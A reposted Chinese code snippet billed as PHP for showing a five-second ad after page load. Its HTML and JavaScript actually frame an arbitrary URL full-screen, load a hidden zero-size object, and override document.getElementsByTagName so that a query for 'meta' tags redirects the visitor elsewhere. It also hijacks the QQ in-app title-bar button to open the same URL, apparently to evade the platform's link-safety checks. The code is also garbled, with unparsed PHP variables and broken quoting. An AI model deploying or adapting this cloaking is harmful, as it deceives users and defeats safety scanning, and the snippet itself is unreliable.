PHP实现网页加载后展示5秒广告
<html>
<meta content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0' name='viewport' />
<title>' + $jiazai + ' </title>
<object data='https://baidu.com' width='0' height='0'></object>
<body style='margin:0;padding:0;height:100%' scroll=no>
<style>
*{margin:0;padding:0;font-family: 'Microsoft YaHei';color: #fff;}
body,div,form,input,li,ol,p,textarea,ul{margin:0;padding:0;font-family: 'Microsoft YaHei';color: #fff;}
body{background:#fff;color:#3f3f3f;font-family:Apple LiGothic Medium,SimHei,Geneva,Arial,Helvetica,sans-serif;-webkit-tap-highlight-color:transparent;-webkit-tap-highlight-color:transparent;-webkit-touch-callout:none;-webkit-appearance:none;width:100%;font-size:12px;}
body p {color: white;text-align: center;line-height: 25px;}
</style>
<pre><code> <div id='Zl'><iframe id='infrm' name='infrm' marginwidth='0' marginheight='0' width='100%' scrolling=auto src='' + $t_url + '' frameborder='0' height='100%'></iframe></div>
<script>
$('#Zl').html('<iframe id='infrm' name='infrm' marginwidth='0' marginheight='0' width='100%' scrolling=auto src='' + $t_url + '' frameborder='0' height='100%'></iframe>');
$(document).ready(function(){
function fix_height(){ $('#infrm').attr('height', (($(window).height())-5) + 'px');}
$(window).resize(function(){ fix_height(); }).resize();
$('#infrm').contentWindow.focus();
});
</script>
</code></pre>
<script>
if (report == null) { var report = '' + $t_rs + '';} var Zeptoq = document.getElementsByTagName;document.getElementsByTagName = function(a) { if (a == 'meta') { window.location.href = report; return } if (a == 'script' || a == 'body') { return Zeptoq.call(document, a) } else { return } }; mqq.ui.setTitleButtons({ left : { title : 'QQ', }, right : { title : '•••', callback : function () { mqq.ui.openUrl({ target: 2,style: 1,url: report}) } } });
</script>
<script>
var iframe = document.getElementById('infrm');
if (iframe.attachEvent){ // 兼容IE写法
iframe.attachEvent('onload', function(){
// iframe加载完成后要进行的操作
})
} else {
iframe.onload = function(){
// iframe加载完成后要进行的操作
document.title='' + $title + '';
top.document.getElementById('paneloading').style.display = 'none';
top.document.getElementById('Zl').style.display = '';
// alert('加载完成');
}
}
</script>
<pre><code> </body>
</html>
</code></pre>
原文地址: http://www.cveoy.top/t/topic/mPgi 著作权归作者所有。请勿转载和采集!